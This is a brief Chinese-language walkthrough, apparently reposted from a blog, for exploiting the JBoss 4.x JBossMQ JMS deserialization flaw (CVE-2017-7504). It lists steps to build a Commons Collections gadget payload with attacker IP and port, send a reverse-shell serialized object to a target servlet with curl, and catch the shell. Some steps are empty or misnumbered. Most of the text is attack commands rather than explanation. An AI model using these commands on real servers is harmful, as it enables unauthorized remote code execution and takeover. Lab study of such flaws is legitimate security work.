1。搭建环境

2.直接用工具拿shell

2,另一个工具的利用
下载地址:
3.解压打开

4.执行命令
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap ip:端口

curl http://192.168.33.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

监听端口反弹shell

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
原文:https://www.cnblogs.com/jiecoll/p/14191717.html